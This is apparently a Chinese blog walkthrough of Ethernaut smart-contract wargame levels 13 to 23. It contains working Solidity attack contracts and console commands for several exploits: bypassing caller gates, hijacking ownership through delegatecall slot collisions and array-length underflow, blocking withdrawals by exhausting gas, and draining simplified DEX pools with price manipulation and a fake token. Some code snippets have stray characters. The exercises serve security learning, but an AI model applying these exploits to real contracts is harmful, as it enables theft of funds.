主动发起。所以记下该GAS操作后剩余的gas(因为查询本身也会消耗gas),此处为70215。我们可以根据该值除8191的余数调整gas limit直至完成攻击。
下表则是我们的发起过程,需要重复进行几次才能完成攻击。
原始gas Limit | GAS操作后剩余gas | 余数 | 下一次输入gas |
---|---|---|---|
100000 | 70215 | 4687 | 95313 |
95313 | 65601 | 73 | 95240 |
95240 | 65529 | 1 | 95239 |
注意当gas设置为95239后,交易成功。如截图所示:
输入
await contract.entrant() == player
,此时返回true表明攻击成功。提交实例,本关卡成功!
总结
Gas的调试很有意思,值得细细研究。
14 GateKeeper Two
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0xc2F1c976Bc795C43F7C9B56Ab69d5c06Daa7d53F
。本关卡的目的是满足gateOne
、gateTwo
和gateThree
,成功实现entrant
的修改。
观察其核心代码,依旧是gateOne
、gateTwo
和gateThree
。
-
gateOne
依旧是要求msg.sender != tx.origin
,即必须有一个中间合约。 -
gateTwo
要求extcodesize(caller())==0
,即调用者(对应msg.sender)的关联代码长度为0,而我们知道,智能合约代码是不为0的。 -
gateThree
则要求输入对应的bytes8满足相应的要求。
乍一看似乎gateOne
和gateTwo
无法同时满足,但是可以考虑到,当合约正在构建时,其关联代码也是为0的。所以我们可以在构建函数里发起攻击。
攻击合约编写
我们同样在remix里编写攻击合约。如下:
pragma solidity ^0.6.0;
interface Gate {
function enter(bytes8 _gateKey) external returns (bool);
}
contract attackerSupporter {
constructor(address addr) public {
Gate gateImpl = Gate(addr);
bytes8 input = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1));
gateImpl.enter(input);
}
}
值得注意的是,我们这里针对gateThree
使用了主动下溢出获取全为1的uint64
(两次异或就消失了)。
合约交互
部署合约,传入目标合约0xc2F1c976Bc795C43F7C9B56Ab69d5c06Daa7d53F
,构建合约的地址为0xE0CCEeA724E2eF32A573348975538DEf0eeBC74f
。
部署成功后,利用await contract.entrant() == player
查看是否攻击成功。答案是成功的。
提交实例,本关卡成功!
总结
那该如何保证不处理智能合约发来的请求呢?msg.sender=tx.origin
即可。
15 Naught Coin
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0x30A758458135a40eA5c59c7F171Fd6FFe08e00c2
。本关卡的目的是将自身的余额变为0。
乍一看合约,对player
存在如下限制:
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
似乎是无法绕过的,我们似乎也无法通过合约进攻,因为默认是扣去自身的token。
但有一看,NaughCoin
是继承ERC20
,而我们知道ERC20
中可不只一个转账函数。我们可以试试通过其他方法。
仔细一看,原始的ERC20
中还存在transferFrom
函数。
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,address to,uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from,spender,amount);
_transfer(from,to,amount);
return true;
}
当然,这前提是有足够的allowance。我们可以开始试试了。
合约交互
首先通过await contract.approve(player,await contract.balanceOf(player))
,使得自身可以通过transferFrom
函数进行转账。
随后我们通过
await contract.transferFrom(player,contract.address,await contract.balanceOf(player))
将余额转移到合约。此时再通过
await contract.balanceOf(player)
查看余额,可知攻击成功,余额为0。提交实例,本关卡成功!
总结
继承部分函数不影响其他的使用,这可以说的上是表面合约了。
16 Preservation
我又回来了,给外方的培训算是快要告一段落,在这段过程中,我认为我也有许多收获。在培训、讲解的过程中,我的思路也变得更为清晰了。可喜可贺。理论上来说,我初步计划的是在8月完成Ethernaut的攻防,然后开启下一阶段的分享。
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0x2f3aC08a3761D8d97A201A36f7f0506CEAaF1046
。本关卡的目的是获取目标合约的所有权。那我们还是要看看,目标合约的薄弱点在哪里,我们hack的入口又在哪里?
我们对目标展开详细分析
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
此处目标存储了timeZone1Library
、timeZone2Library
、owner
及storedTime
变量,而前三者都是在创建时指定的。
既然要获取目标合约的所有权,首先我们查找修改owner
的语句,但是翻遍代码都没有找到,或许我们得看看有哪些危险函数?
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature,_timeStamp));
}
没错,就是这里,delegatecall!
其实,在Delegation
一关中,我们专门提到过call函数族中的区别:
- call: 最常用的调用方式,调用后内置变量 msg 的值会修改为调用者B,执行环境为被调用者的运行环境C。
- delegatecall:调用后内置变量 msg 的值A不会修改为调用者B,但执行环境为调用者的运行环境B
- callcode:调用后内置变量 msg 的值A会修改为调用者B,但执行环境为调用者的运行环境B
此时,使用delegate call时,我们只是相当于调用了函数,而实际执行环境还是本身的运行环境。如果要更为底层的来说,又该怎么理解呢?这个环境,尤其是涉及到storage变量的存储时,是根据插槽来使用的,而不是变量的名字。换句话来说,我们如果通过delegate call修改storage变量,其实是修改当前环境下对应的插槽!
理解了这一点,我们再来看当前合约,真是怎么看怎么不对劲:当调用对应合约LibraryContract
的setTime
函数后,如所见即所得,storedTime
变量被修改,这其实会修改运行环境下的slot 0
,换而言之,其实timeZone1Library
所处的插槽已经被修改了。这个合约本身就是有问题的!
也就是因为它有问题,我们才要处理它!我们首先想将timeZone1Library
的地址修改为我们的攻击合约,在想办法通过delegate call实现后续的攻击。
攻击合约编写
我们同样在remix里编写攻击合约。如下:
pragma solidity ^0.6.0;
contract attacker {
address public tmpAddr1;
address public tmpAddr2;
address public owner;
constructor() public {
}
function setTime(uint _time) public {
owner = address(_time);
}
}
乍一看,这和原来合约的有什么区别么?其实有的,就是我们在修改时特意使得修改的是第三个插槽,也就是slot 2
。变量tmpAddr1
和tmpAddr2
其实只是一个插槽的占位符,并无特殊含义。
合约交互
首先我们部署攻击合约,合约地址为0x852D36AcCF80Eb6611FC124844e52DC9fC72c958
。现在我们就是想用其替换原有的变量timeZone1Library
。
首先,我们可以查询目标合约目前的插槽状况。
其布局应当为
-----------------------------------------------------
| 0x7Dc17e761933D24F4917EF373F6433d4a62fe3c5 | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1 | <- slot 1
-----------------------------------------------------
| 0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F | <- slot 2
-----------------------------------------------------
| storedTime | <- slot 3
-----------------------------------------------------
我们试着调用await contract.setFirstTime()
(first 还是 second 其实并不影响,可以思考以下为什么)并传入我们的攻击合约。此时可以看到其实已经发生了改变。我们可以直接传入地址而不去在意uint的限制,因为具体构建的data并不会指明参数类型,而会是evm手动的编译。
此时,其布局应当为
-----------------------------------------------------
| 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958 | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1 | <- slot 1
-----------------------------------------------------
| 0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F | <- slot 2
-----------------------------------------------------
| storedTime | <- slot 3
-----------------------------------------------------
此时,想法就很简单,直接调用await contract.setFirstTime()
并传入player地址。传入后查看owner变量是否发生修改,可以看到已经成功获取到了合约所有权。
此时布局为:
-----------------------------------------------------
| 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958 | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1 | <- slot 1
-----------------------------------------------------
| 0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b | <- slot 2
-----------------------------------------------------
| storedTime | <- slot 3
-----------------------------------------------------
提交实例,本关卡完成!
总结
还是得明白 delegate call共享环境到底共享的是什么。
17 Recovery
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0x2f3aC08a3761D8d97A201A36f7f0506CEAaF1046
。本关卡的目的是找到“丢失的地址”(我们给他转去了0.001ether却忘记了其地址)并恢复丢失的以太。
这题其实有两种思路,一种略微取巧了,第二个我猜是题目真正想考的。
根据题目描述可以知道,这其实是一个连续的过程:合约创建者创建代币合约的工厂合约,后者再创建代币合约(被遗忘的地址)。我们就围绕这个思路展开。
合约交互
找到遗忘的地址,方法一 : 基于浏览器
这里的浏览器可不是Browser,而是Explorer。
我们可以查看自己的交易记录。可以看到我们在里面还转移了两次0.001以太。
我们可以基于内部调用展开分析。整体流程如下:
- 用户账户调用Ethernaut合约
0xd991431d8b033ddcb84dad257f4821e9d5b38c33
- Ethernaut合约
0xd991431d8b033ddcb84dad257f4821e9d5b38c33
调用关卡合约0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2
并转账0.001Ether - 关卡合约
0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2
创建工厂合约0xfeB7158F1d0Ff49043e7e2265576224145b158f2
- 关卡合约
0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2
调用工厂合约0xfeB7158F1d0Ff49043e7e2265576224145b158f2
,应该是generateToken
接口 - 工厂合约
0xfeB7158F1d0Ff49043e7e2265576224145b158f2
创建了代币合约0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8
- 关卡合约
0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2
向代币合约0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8
转账0.001Ether,随后忘记该合约地址。
通过浏览器,我们找到了该代币合约地址为
0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8
。
找到遗忘的地址,方法二 : 基于地址生成
其实,合约地址的生成是有规律可寻的。经常可以看到有的代币或组织跨链部署的合约都是同样的,这是因为合约地址是根据创建者的地址及nonce来计算的,两者先进行RLP编码再利用keccak256进行哈希计算,在最终的结果取后20个字节作为地址(哈希值原本为32字节)。
- 创建者的地址是已知的,而nonce也是从初始值递增获取到的。
- 外部地址nonce初始值为0,每次转账或创建合约等会导致nonce加一
- 合约地址nonce初始值为1,每次创建合约会导致nonce加一(内部调用不会)
我们用web3.js试试召回丢失的合约地址。目前已知工厂合约为0xfeB7158F1d0Ff49043e7e2265576224145b158f2
,nonce为1,
输入为web3.utils.keccak256(Buffer.from(rlp.encode(['0xfeB7158F1d0Ff49043e7e2265576224145b158f2',1]))).slice(-40,)
,结果为9d91abf611bbf14e52fa4cddea81f8f2cf665cb8
。
找回
找到了合约,现在就要尝试和合约进行交互。我们可以新建合约,也可以直接通过web3.js与合约进行交互。
首先,我们通过encodeFunctionSignature获取函数指示,并构造参数。最后通过sendTransaction发送出来。
可以看到有4字节的函数以及32字节的输入(不够的补0)。
成功调用!
提交实例,本关卡成功!
)
总结
其实感觉自己原理都知道,但实操起来总有些不熟练,还得多练习~
18 MagicNumber
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0x36c8074B1F138B7635Ad1eFe0c2b37b346EC540c
。本关卡就是希望我们能手写solidity的opcode,构建合约,再被调用是能直接返回魔数0x42
。准确来说,就是希望我们熟悉当我们创建合约的时候,transaction中的data实际指的是什么。
这一块其实我也不是特别熟悉,所以也查询了一些资料。当我们用Solidity部署合约时,究竟会发生些什么?
- Solidity代码已经写好,当用户点击部署时,会发送创建合约的交易(此交易没有
to
选项),此时solidity语言已经被编译为字节码 - EVM接收到请求后会将data取出来,这实际上是字节码
- 字节码将会被载入到栈内,分为两部分:初始化字节码及运行态字节码
- EVM将会执行初始化字节码,并将运行态字节码返回用以正常时的利用。
我们这里其实既要写运行态字节码,又要写初始化的字节码。
那就开始编写字节码。
合约编写
运行态字节码
运行态其实就是直接返回RETURN
42。可是opcodeRETURN
是基于栈的。它会读取栈中的p和s并返回。其中p
代表存储的内存地址,而s
代表的是存储数据的大小。所以我们的思路就是,先把数据利用mstore
存到内存里,再利用RETURN
返回。
-
mstore
会读取栈中的p和v,并最终将数据存储到p位置上-
push1 0x42
->60 42
-
push1 0x60
->60 60
(存储在0x60的位置) -
mstore
->52
-
-
RETURN
返回0x42
-
push1 0x20
->60 20
(0x20=32
即uint256的字节数) -
push1 0x60
->60 60
-
return
->f3
-
合起来就是604260605260206060f3
。看上去运行态字节码就这么简单。
初始化字节码
其核心就是初始化并通过codecopy
将运行态字节码存到内存去,在这之后,这将自动地被EVM处理并存储到区块链上。
-
codecopy
会读取参数t、f、s,其中t
是代码的目的内存地址,f
是运行态代码相对于整体(初始化+运行态)的偏移,而s
则是代码大小。我们这里选择t=0x20
(这里没有强制性要求),f=unknown(是1字节的偏移量)
,s=0x0a(10个字节的大小)
-
push1 0x0a
->60 0a
-
push1 0xUN
->60 UN
-
push1 0x20
->60 20
-
codecopy
->39
-
-
通过
RETURN
将代码返回给EVM-
push1 0x0a
->60 0a
-
push1 0x20
->60 20
-
return
->f3
此时初始化字节码有12字节,所以运行态偏移为12=0x0c=UN
最终初始化字节码为600a600c602039600a6020f3
-
构建与测试
构建字节码0x600a600c602039600a6020f3604260605260206060f3
。
我们在console界面构造了交易以创建合约。
由于交易没有接受方,自动被识别为部署合约
部署完成,可以看出,合约地址为
0xAcA8C7d0F1E90272A1bf8046A6b9B3957fbB4771
。将合约设置为solver。后面当我们提交后会自动调用以查看是否满足。
提交关卡,进行检验,发现没有成功?怎么回事?
先查看交易的RAW TRACE
,可以看出最后的确是访问了我们的合约,也的确是返回了0x42。
再去看汇编,可以看到,的确也是执行了。
随即我们在remix上的导入,调用函数,的确也都返回0x42。
难道?我们修改返回的值从0x42到42(
0x2a
)。
构建字节码0x600a600c602039600a6020f3602a60605260206060f3
。
此时通过remix调用,的确都返回42。再提交看看?成功了!
总结
其实有人会觉得困惑?也没有个函数选择器啥的?其实这里需要补充一下,平常我们通过solidity编写智能合约后,在编译时会植入函数选择器。而我们本关卡没有这一步骤,所以就如同remix调用的图一样,所有函数其实都执行的同一块命令,得到的是同一个结果。
19 AlienCodex
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0xc4017fe2BD1Cb4629E0225B6CCe2c712138588Ef
。本关卡的目的是获取合约的所有权。那我们先看看合约内有没有设置所有权的代码?
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
...
}
看到代码就知道,合约里应该是没有设置所有权的代码,那我们可能就要想办法从其他地方入手了。发现代码里有这段:
function revise(uint i,bytes32 _content) contacted public {
codex[i] = _content;
}
看来就是这里了,想办法从这里入手,通过该操作以改变插槽存储值的大小。
合约交互
我们先看看slot里存的都是些什么?
由于合约继承了
Ownable
合约,所以slot0中存储的就是owner
对象,此时为0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272
。实际上该地址就是创建目标合约的地址,如下图所示:
,the owner will still get their share而存储的
contact
变量也是在slot 0
中(一个插槽长度为32位,能够存放地址(20)+布尔型(1)),目前为0即为false。slot1存储的则是codex
动态数组,更准确来说,应该是codex
动态数组的长度,而具体的下标内容呢?会按序存储在keccak256(bytes(1))+x
的插槽内,其中,x就是数组的下标。所以我们将插槽表示出来:
-----------------------------------------------------
| unused(11 bytes) |contact = false | 0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272 | <- slot 0
-----------------------------------------------------
| codex length =0 | <- slot 1
-----------------------------------------------------
...
-----------------------------------------------------
| codex data[0] | <- slot ??
-----------------------------------------------------
我们现在计算codex data的起始插槽,应该是0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
我们先测试一下准确性。由于
contacted modifier
的存在,我们先修改contact
变量。调用await contact.make_contact()
,再次查看插槽数值,可以发现变量成功被修改。先存一个值看看,
await contract.record("0x000000000000000000000000000000000000000000000000000000000000aaaa")
测试一下。此时,插槽长度发生变化,同时存储数据也有所修改。
再存一个值看看,
await contract.record("0x000000000000000000000000000000000000000000000000000000000000bbbb")
测试一下。此时,插槽长度发生变化,同时存储数据也有所修改。
现在我们就希望通过修改
codex
的data
导致溢出最终修改slot 0。首先我们连续调用三次
await contract.retract()
将codex.length
下溢出为2**256-1
。此时先前输入的数据均已丢失。
那下标该是多少呢?应该是
2**256-1-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6+1
。因为我们到达末端后需要再进一位产生上溢出,返回slot0。在计算的过程中我们遇到一个问题,那就是javascript会利用科学计数法,而这会导致精度的丢失。为了简便起见,我们用remix计算,结果是35707666377435648211887908874984608119992236509074197713628505308453184860938
。
那我们就用
await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938',player)
来调用,此时会覆盖原有slot。但一检查发现不对,结果跑前面去了。看来我们又要修改一下,不能直接传入player
,需要传入0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b
。
输入
await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b')
,此举是在地址前面补齐24个0,凑足244+404=256位即32bytes,从而将地址存入正确的存储位置。此时,合约所有者已经成功修改。
提交实例,本关卡成功!
总结
在涉及到owner方面(或者其他重要变量)一定要慎重,寻找所有的可能性。
20 Denial
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0xeb587746E66F008f686521669B5ea99735b1310B
。本关卡的目的是阻止owner
提款。我们先看看各角色是什么。
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert,the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;输入
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
每当用户提款时,会调用withdraw
函数,取出1%发给partner
,还有1%发给owner
。我们能做的就是在partner
端定义函数,使的发给owner
的步骤无法进行。
然而,合约中调用的是call
并附上了所有gas。我们先回顾一下send
、call
和transfer
之间的区别。
- transfer如果异常会转账失败,并抛出异常,存在gas限制
- send如果异常会转账失败,返回false,不终止执行,存在gas限制
- call如果异常会转账失败,返回false,不终止执行,没有gas限制
所以我们的入手点就是消耗光其gas,光失败不会终止后续执行的!
如何消耗呢?那我们就来看看require
和assert
。
-
assert
会消耗掉所有剩余的gas并恢复所有的操作 -
require
会退还所有剩余的gas并返回一个值
所以我们似乎可以在assert上下功夫。
攻击合约编写
攻击合约很简单,就是默认assert(false)
并回滚一切操作。
pragma solidity ^0.6.0;
contract attacker {
constructor() public {
}
fallback() external payable {
assert(false);
}
}
合约交互
部署攻击合约,地址为0xF8fc486804A40d654CC7ea37B9fdae16D0A5d8a7
。
输入
await contract.setWithdrawPartner('0xF8fc486804A40d654CC7ea37B9fdae16D0A5d8a7')
将攻击合约设置为partner
角色。此时我们发起
withdraw
测试一下。输入await contract.withdraw()
,结果发现由于gas耗尽,所以失败。提交实例,本关卡成功!
总结
还是那句老话,合约的交互是难以信任的。
21 Shop
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0xaF30cef990aD1D3b641Bad72562f62FF3A0977C7
。本关卡的目的是用低于问讯要求的价格实现购买。其具体代码段如下:
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
合约会询问用户msg.sender
(所以可以是智能合约)的出价,如果其price()
函数返回的结果超过当前的定价并且商品仍未卖出,则会将定价设为用户的出价。现在看应该是要求用户两次出价返回的结果不同。然而,我们可以看到Buyer
类型的接口price()
是一个view
类型的函数,这表明只能读取变量而不应当对变量有所修改,即不能改变当前合约的状态。这可怎么办呢?
那么有没有办法能够使得view
方法两次返回的值不同呢?目前来说,有两种方法:
- 依托于外部合约的变化
- 依托于本身变量的变化
攻击合约编写
外部合约的状态变化
如果view
类型方法依托于外部合约的状态,通过询问外部变量,即可无修改地实现返回值的区别。
同样基于remix,我们编写合约如下:
pragma solidity ^0.6.0;
interface Shop {
function buy() external;
function isSold() external view returns (bool);码
}
contract attacker {
Shop shop;
constructor(address _addr) public {
shop = Shop(_addr);
}
function attack() public {
shop.buy();
}
function price() external view returns (uint){
if (!shop.isSold()){
return 101;
}else{
return 99;
}
}
}
此时由于在请求price()
前后Shop
合约的isSold
变量已发生了变化,所以我们可以基于该变量设置if
规则,这种方法是适用的。
本身变量的变化
如果我们依赖于now
、timestamp
等变量,的确可以实现在不同区块下view
类型的函数会返回不同结果,然而,在同一区块下,似乎仍难以区分开来。
我们有如下合约:
contract attacker2 {
Shop shop;
uint time;
constructor(address _addr) public {
shop = Shop(_addr);
time = now;
}
function attack() public {
shop.buy();
}
function price() external view returns (uint){
return (130-(now-time));
}
}
在不同时刻调用view
类型的price
函数,返回的值是有区别的。然而,在同一区块呢,很难去达成区别,所以是不够适用的。
合约交互
先查看合约当前状态。
部署攻击合约,合约地址为
0x8201E303702976dc3E203a4D3cDe244D522274bf
。此时调用
price
方法,返回101
。调用
attack
方法发起进攻。调用完后刷新目标合约状态。此时商品已卖出,价格为99。提交实例,本关卡完成!
总结
有时候从另一个角度去想问题,这和我们常规理解的可能不一样。
22 Dex
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0x28B73f0b92f69A35c1645a56a11877b044de3366
。本关卡的是DEX(Decentralized Exchange,去中心化交易所)的简易版本。
对合约展开分析,合约中只存有两个代币合约,一个是token1
,一个是token2
。
function setTokens(address _token1,address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
而合约支持我们根据代币之间的汇率进行兑换。兑换的价格为两个代币的数量之比。
function getSwapPrice(address from,uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
这里发现有一个问题,我们暂且按下不表。
那我们需要做什么呢?就是利用这里面不对称的汇率,实现套利,挖空交易池里的代币(一种即可)。
由于在swap
里已经限定只能围绕token1
和token2
展开交易。所以我们只能从汇率入手了。那这就回到我们一开始发现的问题,对于单次交易来说,汇率是恒定的!对一般的去中心化交易所来说,都会有滑点(Slippage)的概念,即随着交易额的增长,理论汇率和实际汇率之间的差值会越来越大! 而很明显,本关卡合约没有滑点的概念,这就使得我们能获取到的兑换额度要比实际值大的多。多兑换几次,我们就能很快掏空交易池。
合约交互
我们先看看交易池内token1
、token2
和我们账户代币的数量。
如果我们要将手头的10个token1
兑换为token2
,首先我们通过await contract.approve(contract.address,10)
完成授权。
随后我们通过
await contract.swap(token1,token2,10)
将10个token1
兑换为token2
。根据初始汇率1:1
我们可以获取到10个token2
。此时我们有了0个token1
、20个token2
,但交易所现在有110个token1
、90个token2
,如果我们将10个token2
兑换回去,我们可以获得不止10个token1
!这就是套利!
通过下表展示套利过程,其中由于精度有限所以汇率往往只能精确到小数点后1位。最后一次我们根据汇率不完全兑换,只兑换46个(110/2.4=45.83
),结果失败(因为交易池没有那么多)。后来发现,直接兑换45个即可。
交易池token1 | 交易池token2 | 汇率1-2 | 汇率2-1 | 用户token1 | 用户token2 | 兑换币种 | 兑换后用户token1 | 兑换后用户token1 |
---|---|---|---|---|---|---|---|---|
100 | 100 | 1 | 1 | 10 | 10 | token1 | 0 | 20 |
110 | 90 | 0.818 | 1.222 | 0 | 20 | token2 | 24 | 0 |
86 | 110 | 1.28 | 0.782 | 24 | 0 | token1 | 0 | 30 |
110 | 80 | 0.727 | 1.375 | 0 | 30 | token2 | 41 | 0 |
69 | 110 | 1.694 | 0.627 | 41 | 0 | token1 | 0 | 65 |
110 | 45 | 0.409 | 2.44 | 0 | 65 | token2 | 110 | 20 |
此时,交易池的token1
已经被掏空!提交关卡,本关卡成功!
总结
涉及到Dex
这种Defi
项目,智能合约的编写一定要慎之又慎。
23 Dex2
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0xF8A6bcdD3B5297f489d22039F5d3D1e3D58570bA
。本关卡仍是DEX(Decentralized Exchange,去中心化交易所)的简易版本。
乍一看,这题跟上个没啥区别阿。但仔细一看似乎缺了点什么?
function swap(address from,uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount,"Not enough to swap");
uint swapAmount = getSwapAmount(from,amount);
IERC20(from).transferFrom(msg.sender,address(this),amount);
IERC20(to).approve(address(this),swapAmount);
IERC20(to).transferFrom(address(this),msg.sender,swapAmount);
}
里面不再对币种的地址作校验了,那我们能否部署自己的代币合约,并通过相关方法提供流动性,并最终掏空池子呢?
编写攻击合约
我们参考目标合约中的SwappableToken
合约,编写攻击合约如下:
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract SwappableTokenAttack is ERC20 {
address private _dex;
constructor(address dexInstance,string memory name,string memory symbol,uint initialSupply) public ERC20(name,symbol) {
_mint(msg.sender,initialSupply);
_dex = dexInstance;
}
function approve(address owner,address spender,uint256 amount) public returns(bool){
require(owner != _dex,"InvalidApprover");
super._approve(owner,amount);
}
}
部署合约,其合约地址为0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e
合约交互
我们首先实现approve
授权许可,给目标合约8个攻击代币的许可。
随后,我们通过
await contract.add_liquidity('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',1)
将攻击代币加入DEX
。结果失败,原来我们不是合约的owner
。这影响吗?不影响,我们可以在攻击合约中手动转账。
此时,获取一下攻击代币转
token1
的汇率呗~ await contract.getSwapAmount('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token1(),1)
,结果发现我们可以全部掏空token1
!
那就发起把,先后输入
await contract.swap('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',1)
和await contract.swap('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token2(),2)
以实现将交易池掏空!成功!(对token2
使用2个攻击代币是因为我们此时汇率已经下降到1:50
了)
提交关卡,本关卡成功!
总结
智能合约真是处处漏洞阿,有时间一定要研究以下UniSwap!
原文地址:https://blog.csdn.net/weixin_43982484
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。